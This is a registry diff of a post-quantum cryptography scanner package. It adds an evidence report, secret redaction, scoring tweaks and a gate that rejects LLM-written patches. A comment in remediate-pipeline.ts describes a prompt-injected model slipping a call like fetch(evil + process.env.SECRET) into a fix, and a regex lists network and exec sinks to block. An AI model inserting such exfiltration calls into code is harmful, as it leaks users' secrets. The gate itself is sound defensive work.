@quantakrypto/core 0.4.2 → 0.4.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (132) hide show
  1. package/LICENSE +201 -0
  2. package/README.md +38 -10
  3. package/dist/agent-types.js.map +1 -1
  4. package/dist/baseline.js.map +1 -1
  5. package/dist/cache.js.map +1 -1
  6. package/dist/cbom.js.map +1 -1
  7. package/dist/changed.js.map +1 -1
  8. package/dist/codemods/config-toggle.js.map +1 -1
  9. package/dist/codemods/registry.js.map +1 -1
  10. package/dist/comments.d.ts +26 -0
  11. package/dist/comments.d.ts.map +1 -1
  12. package/dist/comments.js +141 -1
  13. package/dist/comments.js.map +1 -1
  14. package/dist/config.js.map +1 -1
  15. package/dist/cwe.js.map +1 -1
  16. package/dist/dependencies.d.ts +3 -2
  17. package/dist/dependencies.d.ts.map +1 -1
  18. package/dist/dependencies.js +138 -2
  19. package/dist/dependencies.js.map +1 -1
  20. package/dist/detect-utils.d.ts +14 -3
  21. package/dist/detect-utils.d.ts.map +1 -1
  22. package/dist/detect-utils.js +32 -4
  23. package/dist/detect-utils.js.map +1 -1
  24. package/dist/detectors/c.d.ts.map +1 -1
  25. package/dist/detectors/c.js +190 -2
  26. package/dist/detectors/c.js.map +1 -1
  27. package/dist/detectors/csharp.d.ts.map +1 -1
  28. package/dist/detectors/csharp.js +141 -3
  29. package/dist/detectors/csharp.js.map +1 -1
  30. package/dist/detectors/go.d.ts +5 -3
  31. package/dist/detectors/go.d.ts.map +1 -1
  32. package/dist/detectors/go.js +187 -3
  33. package/dist/detectors/go.js.map +1 -1
  34. package/dist/detectors/java.d.ts.map +1 -1
  35. package/dist/detectors/java.js +168 -3
  36. package/dist/detectors/java.js.map +1 -1
  37. package/dist/detectors/pem.d.ts.map +1 -1
  38. package/dist/detectors/pem.js +49 -1
  39. package/dist/detectors/pem.js.map +1 -1
  40. package/dist/detectors/python.d.ts.map +1 -1
  41. package/dist/detectors/python.js +74 -3
  42. package/dist/detectors/python.js.map +1 -1
  43. package/dist/detectors/ruby.d.ts +9 -5
  44. package/dist/detectors/ruby.d.ts.map +1 -1
  45. package/dist/detectors/ruby.js +122 -2
  46. package/dist/detectors/ruby.js.map +1 -1
  47. package/dist/detectors/rust.d.ts +8 -3
  48. package/dist/detectors/rust.d.ts.map +1 -1
  49. package/dist/detectors/rust.js +185 -3
  50. package/dist/detectors/rust.js.map +1 -1
  51. package/dist/detectors/source.d.ts.map +1 -1
  52. package/dist/detectors/source.js +117 -7
  53. package/dist/detectors/source.js.map +1 -1
  54. package/dist/detectors/stateful-hbs.d.ts +22 -0
  55. package/dist/detectors/stateful-hbs.d.ts.map +1 -0
  56. package/dist/detectors/stateful-hbs.js +139 -0
  57. package/dist/detectors/stateful-hbs.js.map +1 -0
  58. package/dist/errors.js.map +1 -1
  59. package/dist/evidence.d.ts +48 -0
  60. package/dist/evidence.d.ts.map +1 -0
  61. package/dist/evidence.js +76 -0
  62. package/dist/evidence.js.map +1 -0
  63. package/dist/index.d.ts +4 -2
  64. package/dist/index.d.ts.map +1 -1
  65. package/dist/index.js +4 -2
  66. package/dist/index.js.map +1 -1
  67. package/dist/inventory.d.ts +2 -0
  68. package/dist/inventory.d.ts.map +1 -1
  69. package/dist/inventory.js +27 -1
  70. package/dist/inventory.js.map +1 -1
  71. package/dist/parallel.js.map +1 -1
  72. package/dist/patch-policy.js.map +1 -1
  73. package/dist/redact.d.ts.map +1 -1
  74. package/dist/redact.js +39 -0
  75. package/dist/redact.js.map +1 -1
  76. package/dist/registry.d.ts +2 -2
  77. package/dist/registry.d.ts.map +1 -1
  78. package/dist/registry.js +4 -2
  79. package/dist/registry.js.map +1 -1
  80. package/dist/remediate-pipeline.d.ts +3 -0
  81. package/dist/remediate-pipeline.d.ts.map +1 -1
  82. package/dist/remediate-pipeline.js +50 -0
  83. package/dist/remediate-pipeline.js.map +1 -1
  84. package/dist/remediate-request.js.map +1 -1
  85. package/dist/remediation.d.ts +9 -3
  86. package/dist/remediation.d.ts.map +1 -1
  87. package/dist/remediation.js +17 -5
  88. package/dist/remediation.js.map +1 -1
  89. package/dist/report.d.ts +9 -0
  90. package/dist/report.d.ts.map +1 -1
  91. package/dist/report.js +31 -0
  92. package/dist/report.js.map +1 -1
  93. package/dist/scan-worker.js.map +1 -1
  94. package/dist/scan.d.ts.map +1 -1
  95. package/dist/scan.js +8 -1
  96. package/dist/scan.js.map +1 -1
  97. package/dist/severity.js.map +1 -1
  98. package/dist/triage.js.map +1 -1
  99. package/dist/types.d.ts +1 -1
  100. package/dist/types.d.ts.map +1 -1
  101. package/dist/types.js.map +1 -1
  102. package/dist/verify.js.map +1 -1
  103. package/dist/version.d.ts +1 -1
  104. package/dist/version.js +1 -1
  105. package/dist/version.js.map +1 -1
  106. package/dist/walk.js.map +1 -1
  107. package/dist/worktree.js.map +1 -1
  108. package/package.json +1 -1
  109. package/src/comments.ts +140 -1
  110. package/src/dependencies.ts +143 -4
  111. package/src/detect-utils.ts +33 -4
  112. package/src/detectors/c.ts +202 -2
  113. package/src/detectors/csharp.ts +154 -3
  114. package/src/detectors/go.ts +209 -6
  115. package/src/detectors/java.ts +189 -3
  116. package/src/detectors/pem.ts +53 -1
  117. package/src/detectors/python.ts +82 -3
  118. package/src/detectors/ruby.ts +138 -7
  119. package/src/detectors/rust.ts +211 -7
  120. package/src/detectors/source.ts +149 -6
  121. package/src/detectors/stateful-hbs.ts +177 -0
  122. package/src/evidence.ts +124 -0
  123. package/src/index.ts +5 -1
  124. package/src/inventory.ts +31 -1
  125. package/src/redact.ts +41 -0
  126. package/src/registry.ts +4 -2
  127. package/src/remediate-pipeline.ts +55 -0
  128. package/src/remediation.ts +23 -8
  129. package/src/report.ts +41 -2
  130. package/src/scan.ts +13 -1
  131. package/src/types.ts +1 -1
  132. package/src/version.ts +1 -1
@@ -0,0 +1,124 @@
1
+ /**
2
+ * ISO/IEC 27001:2022 Annex A 8.24 evidence-chain export
3
+ * (docs/compliance/iso27001-a8.24-evidence.md).
4
+ *
5
+ * Emits a self-describing readiness report bundling the scan result, crypto
6
+ * inventory, and CycloneDX CBOM, plus an attestation carrying a DETERMINISTIC
7
+ * content hash — the same scan over the same commit + config yields the same
8
+ * hash (the volatile scan timestamp is deliberately excluded from the hashed
9
+ * body). Signing + RFC-3161 timestamping are left to an EXTERNAL, vetted signer
10
+ * (ADR-0004: this project performs no cryptography itself — it orchestrates a
11
+ * signer, it does not implement one). SHA-256 here is an integrity hash (a Node
12
+ * built-in), not an asymmetric primitive.
13
+ *
14
+ * Honesty boundary: this artifact is EVIDENCE for A.8.24, not the control. The
15
+ * organization still owns the cryptography policy, key management, and the
16
+ * conformance judgment. A clean scan is the absence of detected candidates, not
17
+ * proof of quantum-safety (qScan is lexical). See docs/COMPLIANCE.md §3.
18
+ */
19
+ import { createHash } from "node:crypto";
20
+
21
+ import type { ScanResult } from "./types.js";
22
+ import { toCbom } from "./cbom.js";
23
+ import { VERSION } from "./version.js";
24
+
25
+ /** Stable per-finding record for the evidence body (deterministic per commit). */
26
+ export interface EvidenceFinding {
27
+ ruleId: string;
28
+ algorithm?: string;
29
+ severity: string;
30
+ hndl: boolean;
31
+ file: string;
32
+ line: number;
33
+ }
34
+
35
+ export interface ReadinessReport {
36
+ reportType: "quantakrypto-readiness";
37
+ specVersion: 1;
38
+ subject: {
39
+ repository: string | null;
40
+ commit: string | null;
41
+ scannedRoot: string;
42
+ scanTimeUtc: string;
43
+ };
44
+ tool: { name: "qScan"; version: string };
45
+ inventory: ScanResult["inventory"];
46
+ findings: EvidenceFinding[];
47
+ cbom: unknown;
48
+ attestation: {
49
+ /** sha256 over the canonicalized deterministic body (excludes scanTimeUtc). */
50
+ contentHash: string;
51
+ /** RFC-3161 / transparency-log token — filled by an external signer. */
52
+ timestamp: null;
53
+ /** Detached signature over `contentHash` — filled by an external signer. */
54
+ signature: null;
55
+ };
56
+ }
57
+
58
+ /** Canonical JSON: object keys sorted recursively, so the hash is reproducible. */
59
+ function canonicalize(value: unknown): unknown {
60
+ if (Array.isArray(value)) return value.map(canonicalize);
61
+ if (value && typeof value === "object") {
62
+ const out: Record<string, unknown> = {};
63
+ for (const k of Object.keys(value as Record<string, unknown>).sort()) {
64
+ out[k] = canonicalize((value as Record<string, unknown>)[k]);
65
+ }
66
+ return out;
67
+ }
68
+ return value;
69
+ }
70
+
71
+ export interface ReadinessReportOptions {
72
+ /** Repository URL (e.g. from `GITHUB_REPOSITORY`); omitted → null. */
73
+ repository?: string;
74
+ /** Full commit SHA (e.g. from `GITHUB_SHA`); omitted → null. */
75
+ commit?: string;
76
+ }
77
+
78
+ /**
79
+ * Build the A.8.24 readiness report for a scan result. The attestation's
80
+ * `contentHash` covers everything EXCEPT the scan timestamp and the attestation
81
+ * block itself, so re-running the same scan on the same commit is verifiable.
82
+ */
83
+ export function buildReadinessReport(
84
+ result: ScanResult,
85
+ opts: ReadinessReportOptions = {},
86
+ ): ReadinessReport {
87
+ const findings: EvidenceFinding[] = result.findings.map((f) => ({
88
+ ruleId: f.ruleId,
89
+ ...(f.algorithm ? { algorithm: f.algorithm } : {}),
90
+ severity: f.severity,
91
+ hndl: f.hndl,
92
+ file: f.location.file,
93
+ line: f.location.line,
94
+ }));
95
+
96
+ // The CBOM is a deterministic *view* of the (hashed) findings + inventory, but
97
+ // its CycloneDX envelope carries a volatile timestamp/serial — so it is
98
+ // EXCLUDED from the hashed body (its integrity follows from its hashed inputs)
99
+ // to keep the content hash reproducible across scan runs on the same commit.
100
+ const hashableBody = {
101
+ reportType: "quantakrypto-readiness",
102
+ specVersion: 1,
103
+ subject: {
104
+ repository: opts.repository ?? null,
105
+ commit: opts.commit ?? null,
106
+ scannedRoot: result.root,
107
+ },
108
+ tool: { name: "qScan", version: VERSION },
109
+ inventory: result.inventory,
110
+ findings,
111
+ };
112
+ const contentHash =
113
+ "sha256:" +
114
+ createHash("sha256")
115
+ .update(JSON.stringify(canonicalize(hashableBody)))
116
+ .digest("hex");
117
+
118
+ return {
119
+ ...hashableBody,
120
+ subject: { ...hashableBody.subject, scanTimeUtc: result.finishedAt },
121
+ cbom: toCbom(result),
122
+ attestation: { contentHash, timestamp: null, signature: null },
123
+ } as ReadinessReport;
124
+ }
package/src/index.ts CHANGED
@@ -104,12 +104,15 @@ export { vulnerableDependencies, DEP_VULNERABLE_RULE, isManifestFile } from "./d
104
104
  export { SEVERITY_ORDER, severityRank, meetsThreshold, sarifLevel } from "./severity.js";
105
105
 
106
106
  // Reporters.
107
- export { toSarif, toJson, formatSummary } from "./report.js";
107
+ export { toSarif, toJson, formatSummary, formatTierGuidance } from "./report.js";
108
108
  export type { ReportOptions } from "./report.js";
109
109
 
110
110
  // CycloneDX 1.6 cryptographic bill of materials (CBOM) export.
111
111
  export { toCbom } from "./cbom.js";
112
112
  export type { CycloneDxBom, CbomComponent } from "./cbom.js";
113
+ // ISO/IEC 27001 A.8.24 evidence-chain readiness report.
114
+ export { buildReadinessReport } from "./evidence.js";
115
+ export type { ReadinessReport, EvidenceFinding, ReadinessReportOptions } from "./evidence.js";
113
116
 
114
117
  // Remediation lookup (family + tier-aware) and stateful-HBS guidance.
115
118
  export {
@@ -117,6 +120,7 @@ export {
117
120
  remediationForTier,
118
121
  TIER_PARAMS,
119
122
  STATEFUL_HBS_NOTE,
123
+ PQC_TRANSITION_NOTE,
120
124
  statefulHbsApplies,
121
125
  } from "./remediation.js";
122
126
  export type { SecurityTier } from "./remediation.js";
package/src/inventory.ts CHANGED
@@ -36,6 +36,34 @@ function penaltyFor(weight: number, occurrence: number): number {
36
36
  /** Decay constant for the readiness score (larger = more forgiving). */
37
37
  const SCORE_SCALE = 100;
38
38
 
39
+ /**
40
+ * Fraction of the normal penalty a finding in test/fixture/example/doc code
41
+ * contributes to the readiness score. Such findings are almost always test
42
+ * vectors, sample keys, or the library's own algorithm enumerations — accurate
43
+ * detections, but not the deployed crypto whose migration the score is meant to
44
+ * track. Real-repo runs showed 60–77% of findings live in these paths, which
45
+ * dragged the score of no-real-crypto codebases down unfairly. They still appear
46
+ * in the inventory counts in full; only their *score* weight is reduced.
47
+ */
48
+ const TEST_PATH_WEIGHT = 0.15;
49
+
50
+ /** True when a finding's file path is test / fixture / example / documentation. */
51
+ export function isTestOrFixturePath(file: string): boolean {
52
+ const f = file.toLowerCase().replace(/\\/g, "/");
53
+ if (
54
+ /(?:^|\/)(?:tests?|__tests__|testdata|test-data|fixtures?|examples?|demos?|samples?|specs?|mocks?|docs?|benchmarks?|e2e)\//.test(
55
+ f,
56
+ )
57
+ ) {
58
+ return true;
59
+ }
60
+ const base = f.slice(f.lastIndexOf("/") + 1);
61
+ if (/(?:^|[_.-])(?:test|spec)\.[a-z0-9]+$/.test(base)) return true; // test.go, foo_test.go, foo.test.ts
62
+ if (/^test_[^/]+\.py$/.test(base)) return true; // python test_foo.py
63
+ if (/^changelog/.test(base) || /\.(?:md|markdown|rst|adoc|asciidoc)$/.test(base)) return true;
64
+ return false;
65
+ }
66
+
39
67
  /**
40
68
  * Compute a 0–100 readiness score. 100 means no classical asymmetric crypto was
41
69
  * found. Findings accrue a severity-weighted penalty (with per-bucket diminishing
@@ -58,7 +86,9 @@ export function readinessScore(findings: Finding[]): number {
58
86
  let penalty = 0;
59
87
  for (const f of findings) {
60
88
  seen[f.severity] += 1;
61
- penalty += penaltyFor(SEVERITY_WEIGHT[f.severity], seen[f.severity]);
89
+ const weight =
90
+ SEVERITY_WEIGHT[f.severity] * (isTestOrFixturePath(f.location.file) ? TEST_PATH_WEIGHT : 1);
91
+ penalty += penaltyFor(weight, seen[f.severity]);
62
92
  }
63
93
 
64
94
  return Math.max(0, Math.min(100, Math.round(100 * Math.exp(-penalty / SCORE_SCALE))));
package/src/redact.ts CHANGED
@@ -46,6 +46,43 @@ const TOKEN_PATTERNS: readonly RegExp[] = [
46
46
  /[A-Za-z0-9+/]{44,4096}={0,2}/g, // long base64 run (≥32 bytes)
47
47
  ];
48
48
 
49
+ /** Shannon entropy of a string, in bits per character. */
50
+ function shannonEntropy(s: string): number {
51
+ const freq = new Map<string, number>();
52
+ for (const ch of s) freq.set(ch, (freq.get(ch) ?? 0) + 1);
53
+ let e = 0;
54
+ for (const n of freq.values()) {
55
+ const p = n / s.length;
56
+ e -= p * Math.log2(p);
57
+ }
58
+ return e;
59
+ }
60
+
61
+ /**
62
+ * Catch-all for high-entropy secret tokens the named {@link TOKEN_PATTERNS}
63
+ * above miss (custom / novel key formats not tied to a known vendor prefix).
64
+ * Best-effort and biased toward over-redaction (safe): only a *long*,
65
+ * *high-entropy*, *charset-diverse* run is replaced, so ordinary code
66
+ * identifiers, words, and prose are left intact for the LLM to work with.
67
+ */
68
+ const HIGH_ENTROPY_RUN = /[A-Za-z0-9_\-+/=.]{24,256}/g;
69
+ function redactHighEntropy(text: string): { text: string; redacted: boolean } {
70
+ let redacted = false;
71
+ const out = text.replace(HIGH_ENTROPY_RUN, (m) => {
72
+ const classes =
73
+ (/[A-Z]/.test(m) ? 1 : 0) + (/[a-z]/.test(m) ? 1 : 0) + (/[0-9]/.test(m) ? 1 : 0);
74
+ const hasSpecial = /[+/=_-]/.test(m);
75
+ // Random secrets are charset-diverse AND high-entropy; identifiers usually
76
+ // fail one of these (an identifier has repetition / structure → lower entropy).
77
+ if ((classes >= 3 || (classes >= 2 && hasSpecial)) && shannonEntropy(m) >= 4.0) {
78
+ redacted = true;
79
+ return REDACTED;
80
+ }
81
+ return m;
82
+ });
83
+ return { text: out, redacted };
84
+ }
85
+
49
86
  /** Redact PEM/OpenSSH/PGP private-key blocks line-by-line (linear; tolerant of
50
87
  * a missing END marker — a truncated key is still fully redacted). */
51
88
  function redactPrivateKeyBlocks(text: string): { text: string; redacted: boolean } {
@@ -94,6 +131,10 @@ function stripSecrets(text: string): { text: string; redacted: boolean } {
94
131
  return REDACTED;
95
132
  });
96
133
  }
134
+ // Best-effort entropy catch-all for novel token shapes the named patterns miss.
135
+ const ent = redactHighEntropy(out);
136
+ out = ent.text;
137
+ redacted = redacted || ent.redacted;
97
138
  result = { text: out, redacted };
98
139
  } catch {
99
140
  result = { text: REDACTED, redacted: true };
package/src/registry.ts CHANGED
@@ -20,6 +20,7 @@ import { rustDetector } from "./detectors/rust.js";
20
20
  import { rubyDetector } from "./detectors/ruby.js";
21
21
  import { cDetector } from "./detectors/c.js";
22
22
  import { pemDetector } from "./detectors/pem.js";
23
+ import { statefulHbsDetector } from "./detectors/stateful-hbs.js";
23
24
 
24
25
  /** Normalised scope of a detector (defaults to "source" when undeclared). */
25
26
  export function detectorScope(d: Detector): DetectorScope {
@@ -111,8 +112,8 @@ export class DetectorRegistry {
111
112
  /**
112
113
  * The built-in detectors, in run order: the JS/TS source + config detectors,
113
114
  * then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),
114
- * then the language-agnostic PEM detector. The manifest (dependency) scanner is
115
- * handled separately by `scan()`.
115
+ * then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The
116
+ * manifest (dependency) scanner is handled separately by `scan()`.
116
117
  *
117
118
  * This is the single source of truth for the default detector set: both
118
119
  * {@link defaultRegistry} and the public `detectors` export (re-exported from
@@ -128,6 +129,7 @@ export const builtinDetectors: Detector[] = [
128
129
  rubyDetector,
129
130
  cDetector,
130
131
  pemDetector,
132
+ statefulHbsDetector,
131
133
  ];
132
134
 
133
135
  /**
@@ -45,6 +45,52 @@ function passesVerify(before: Finding[], after: Finding[], finding: Finding): bo
45
45
  return targetGone && noNewRuleTypes && after.length < before.length;
46
46
  }
47
47
 
48
+ /**
49
+ * Exfiltration / RCE primitives an LLM "crypto fix" should never *newly*
50
+ * introduce. `verifyFix` only proves the crypto finding is gone — it is blind to
51
+ * the rest of a full-file rewrite, so an injected/hostile model could drop the
52
+ * RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard
53
+ * runs ONLY on `source: "llm"` patches (codemods are deterministic + trusted).
54
+ */
55
+ const NEW_SINK_RE =
56
+ /\b(?:fetch|XMLHttpRequest|WebSocket|navigator\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\s*\(|spawn\s*\(|eval\s*\(|new\s+Function|os\.system|subprocess|Runtime\.getRuntime|require\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"]|import\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"])/g;
57
+
58
+ /** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
59
+ * is localized; a sprawling rewrite is not reviewable as "just the fix". */
60
+ export const LLM_PATCH_MAX_CHANGED_LINES = 60;
61
+
62
+ function countMatches(re: RegExp, s: string): number {
63
+ return (s.match(re) ?? []).length;
64
+ }
65
+
66
+ /** Changed lines (removed + added) between two revisions, ignoring the shared
67
+ * prefix/suffix — same shape the CLI's unified-diff uses. */
68
+ function changedLineCount(before: string, after: string): number {
69
+ const a = before.split("\n");
70
+ const b = after.split("\n");
71
+ let start = 0;
72
+ while (start < a.length && start < b.length && a[start] === b[start]) start++;
73
+ let endA = a.length - 1;
74
+ let endB = b.length - 1;
75
+ while (endA >= start && endB >= start && a[endA] === b[endB]) {
76
+ endA--;
77
+ endB--;
78
+ }
79
+ return Math.max(0, endA - start + 1) + Math.max(0, endB - start + 1);
80
+ }
81
+
82
+ /** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */
83
+ function llmPatchRisk(before: string, patch: Patch): string | null {
84
+ if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {
85
+ return "LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually";
86
+ }
87
+ const changed = changedLineCount(before, patch.newContent);
88
+ if (changed > LLM_PATCH_MAX_CHANGED_LINES) {
89
+ return `LLM patch changes ${changed} lines (> ${LLM_PATCH_MAX_CHANGED_LINES}); too broad to auto-verify — review the diff manually`;
90
+ }
91
+ return null;
92
+ }
93
+
48
94
  /**
49
95
  * Run each finding through patchSource → policy → verify, collecting the patches
50
96
  * that survive both gates and the reasons the rest were dropped.
@@ -68,6 +114,15 @@ export async function remediateFindings(
68
114
  rejected.push({ finding, reason: decision.reason ?? "rejected by patch policy" });
69
115
  continue;
70
116
  }
117
+ // Untrusted full-file LLM rewrites get a blast-radius gate the crypto-only
118
+ // verify step can't provide (new-sink + change-size bound).
119
+ if (patch.source === "llm") {
120
+ const risk = llmPatchRisk(content, patch);
121
+ if (risk) {
122
+ rejected.push({ finding, reason: risk });
123
+ continue;
124
+ }
125
+ }
71
126
  const before = verifyFix(content, { filename: finding.location.file }).findings;
72
127
  const after = verifyFix(patch.newContent, { filename: patch.path }).findings;
73
128
  if (!passesVerify(before, after, finding)) {
@@ -1,8 +1,9 @@
1
1
  /**
2
2
  * Post-quantum remediation guidance for each classical asymmetric algorithm
3
- * family. The recommendations follow NIST's standardized PQC algorithms
4
- * (ML-KEM / FIPS 203, ML-DSA / FIPS 204, SLH-DSA / FIPS 205) and the IETF
5
- * hybrid key-exchange drafts (X25519MLKEM768).
3
+ * family. The recommendations follow NIST's finalized PQC algorithms — ML-KEM
4
+ * (FIPS 203), ML-DSA (FIPS 204), SLH-DSA (FIPS 205) and the IETF hybrid
5
+ * key-exchange groups (X25519MLKEM768, SecP384r1MLKEM1024). Forward-looking
6
+ * standards to track are captured in {@link PQC_TRANSITION_NOTE}.
6
7
  */
7
8
  import type { AlgorithmFamily, Remediation } from "./types.js";
8
9
 
@@ -63,19 +64,21 @@ const REMEDIATIONS: Record<AlgorithmFamily, Remediation> = {
63
64
  },
64
65
  X448: {
65
66
  algorithm: "X448",
66
- recommendation: "hybrid X25519MLKEM768 (ML-KEM-768)",
67
+ recommendation: "hybrid SecP384r1MLKEM1024 (or X25519MLKEM768)",
67
68
  detail:
68
69
  "X448 (Goldilocks curve) is a modern classical key-agreement primitive at a " +
69
70
  "higher classical security level, but it is still broken by Shor's algorithm. " +
70
- "Adopt a hybrid PQC KEM (X25519MLKEM768 / ML-KEM-768) during the transition.",
71
+ "To preserve that assurance level, prefer the SecP384r1MLKEM1024 hybrid " +
72
+ "(ML-KEM-1024); X25519MLKEM768 is acceptable at the commercial tier.",
71
73
  },
72
74
  ECIES: {
73
75
  algorithm: "ECIES",
74
- recommendation: "ML-KEM-768 hybrid encryption",
76
+ recommendation: "ML-KEM-768 hybrid encryption (X-Wing for HPKE)",
75
77
  detail:
76
78
  "ECIES relies on classical ECDH for its key encapsulation and is exposed to " +
77
- "harvest-now-decrypt-later. Replace the KEM step with ML-KEM-768 (FIPS 203), " +
78
- "preferably in a hybrid construction.",
79
+ "harvest-now-decrypt-later. Replace the KEM step with ML-KEM-768 (FIPS 203) in " +
80
+ "a hybrid construction — for HPKE-style application-layer encryption, X-Wing " +
81
+ "(X25519 + ML-KEM-768) is the emerging hybrid KEM target.",
79
82
  },
80
83
  unknown: {
81
84
  algorithm: "unknown",
@@ -199,6 +202,18 @@ export const STATEFUL_HBS_NOTE =
199
202
  "Use only with rigorous state management; otherwise prefer stateless ML-DSA " +
200
203
  "(FIPS 204) or SLH-DSA (FIPS 205).";
201
204
 
205
+ /**
206
+ * Forward-looking PQC standards worth tracking beyond the current FIPS 203/204/205
207
+ * targets. Surfaced for operators planning multi-year migrations.
208
+ */
209
+ export const PQC_TRANSITION_NOTE =
210
+ "Migration urgency: NIST IR 8547 deprecates classical public-key crypto after " +
211
+ "2030 and disallows it after 2035 — long-lived (harvest-now-decrypt-later) data " +
212
+ "must move sooner. Standards to track: HQC (NIST's code-based backup KEM, " +
213
+ "selected March 2025; draft FIPS expected ~2026) as a diversity hedge against " +
214
+ "ML-KEM; FN-DSA / Falcon (draft FIPS 206) for compact lattice signatures; and " +
215
+ "X-Wing (X25519 + ML-KEM-768) for HPKE-style hybrid encryption.";
216
+
202
217
  /** True when stateful HBS (SP 800-208) is a reasonable alternative for a family. */
203
218
  export function statefulHbsApplies(algorithm: AlgorithmFamily): boolean {
204
219
  // Signature families only — LMS/XMSS are signatures, not KEMs.
package/src/report.ts CHANGED
@@ -3,10 +3,12 @@
3
3
  * or a human-readable text summary. No third-party dependencies — ANSI colour
4
4
  * is emitted with raw escape codes and is off by default.
5
5
  */
6
- import type { Finding, RuleMeta, ScanResult, Severity } from "./types.js";
6
+ import type { AlgorithmFamily, Finding, RuleMeta, ScanResult, Severity } from "./types.js";
7
7
  import { VERSION } from "./version.js";
8
8
  import { SEVERITY_ORDER, sarifLevel } from "./severity.js";
9
9
  import { ANALYZABLE_LANGUAGES_LABEL } from "./detect-utils.js";
10
+ import { remediationFor, remediationForTier } from "./remediation.js";
11
+ import type { SecurityTier } from "./remediation.js";
10
12
 
11
13
  /** Minimal SARIF 2.1.0 log shape (kept permissive on purpose). */
12
14
  export interface SarifLog {
@@ -327,7 +329,10 @@ function scoreColor(score: number): string {
327
329
  * Render a human-readable summary of a scan result. Colour is off by default;
328
330
  * pass `{ color: true }` to emit ANSI escape codes.
329
331
  */
330
- export function formatSummary(result: ScanResult, options?: { color?: boolean }): string {
332
+ export function formatSummary(
333
+ result: ScanResult,
334
+ options?: { color?: boolean; tier?: SecurityTier },
335
+ ): string {
331
336
  const color = options?.color ?? false;
332
337
  const c = (code: string, text: string): string => (color ? `${code}${text}${ANSI.reset}` : text);
333
338
 
@@ -427,5 +432,39 @@ export function formatSummary(result: ScanResult, options?: { color?: boolean })
427
432
  );
428
433
  }
429
434
 
435
+ if (options?.tier) {
436
+ lines.push("", ...formatTierGuidance(inv.byAlgorithm, options.tier));
437
+ }
438
+
430
439
  return lines.join("\n");
431
440
  }
441
+
442
+ /**
443
+ * Per-family migration targets for a CNSA security tier — surfaces the otherwise
444
+ * library-only {@link remediationForTier} in human reports. Category 5 shows the
445
+ * ML-KEM-1024 / ML-DSA-87 sets CNSA 2.0 mandates for national-security systems and
446
+ * long-lived secrets. Returns plain (un-coloured) lines; the caller styles them.
447
+ */
448
+ export function formatTierGuidance(
449
+ byAlgorithm: Record<string, number>,
450
+ tier: SecurityTier,
451
+ ): string[] {
452
+ const label = tier === "category-5" ? "CNSA 2.0 (Category 5)" : "Category 3 (commercial)";
453
+ const out: string[] = [`${label} migration targets:`];
454
+ const seen = new Set<string>();
455
+ for (const [k, n] of Object.entries(byAlgorithm)) {
456
+ if (n <= 0) continue;
457
+ const fam = k as AlgorithmFamily;
458
+ if (fam === "unknown" || !remediationFor(fam)) continue; // skip unmapped families
459
+ const rem = remediationForTier(fam, tier);
460
+ if (seen.has(rem.recommendation)) continue;
461
+ seen.add(rem.recommendation);
462
+ out.push(` ${fam} → ${rem.recommendation}`);
463
+ }
464
+ if (tier === "category-5") {
465
+ out.push(
466
+ " CNSA 2.0 mandates ML-KEM-1024 / ML-DSA-87 for national-security systems and long-lived secrets (2030/2033 milestones).",
467
+ );
468
+ }
469
+ return out;
470
+ }
package/src/scan.ts CHANGED
@@ -15,7 +15,18 @@ import * as path from "node:path";
15
15
  import type { Detector, Finding, ScanOptions, ScanResult } from "./types.js";
16
16
  import { walkFiles, toPosix, isBinaryPath, looksMinified, matchesAny } from "./walk.js";
17
17
  import { isAnalyzableSource } from "./detect-utils.js";
18
- import { stripCommentFindings, stripIgnoredFindings } from "./comments.js";
18
+ import {
19
+ stripCommentFindings,
20
+ stripIgnoredFindings,
21
+ stripStringLiteralFindings,
22
+ } from "./comments.js";
23
+
24
+ /**
25
+ * Rules whose token is only meaningful as code, never inside a string literal.
26
+ * A match inside a string (e.g. `t.Error("SigningMethodPS256 …")`) is prose and
27
+ * is dropped. Rules that legitimately match quoted tokens are NOT listed here.
28
+ */
29
+ const CODE_ONLY_RULES: ReadonlySet<string> = new Set(["go-jwt-signingmethod"]);
19
30
  import { hashContent, loadCache, rulesetFingerprint, saveCache } from "./cache.js";
20
31
  import type { CacheEntry } from "./cache.js";
21
32
  import { builtinDetectors, defaultRegistry, detectorScope } from "./registry.js";
@@ -71,6 +82,7 @@ export function detectFile(
71
82
  // `qscan-ignore-next-line` directives. Both run before the dependency scan
72
83
  // appends its findings (manifests carry neither).
73
84
  out = stripCommentFindings(out, content, file);
85
+ out = stripStringLiteralFindings(out, content, file, CODE_ONLY_RULES);
74
86
  out = stripIgnoredFindings(out, content);
75
87
 
76
88
  if (toggles.deps && isManifestFile(file)) {
package/src/types.ts CHANGED
@@ -95,7 +95,7 @@ export interface Finding {
95
95
  }
96
96
 
97
97
  /** Package ecosystems the dependency scanner understands. */
98
- export type DependencyEcosystem = "npm" | "pypi" | "cargo" | "go" | "maven" | "rubygems";
98
+ export type DependencyEcosystem = "npm" | "pypi" | "cargo" | "go" | "maven" | "rubygems" | "nuget";
99
99
 
100
100
  /** A known quantum-vulnerable dependency entry. */
101
101
  export interface VulnerableDependency {
package/src/version.ts CHANGED
@@ -3,4 +3,4 @@
3
3
  * the scan orchestrator can import it without creating a cycle through index.ts.
4
4
  * Keep in sync with packages/core/package.json.
5
5
  */
6
- export const VERSION = "0.4.2";
6
+ export const VERSION = "0.4.3";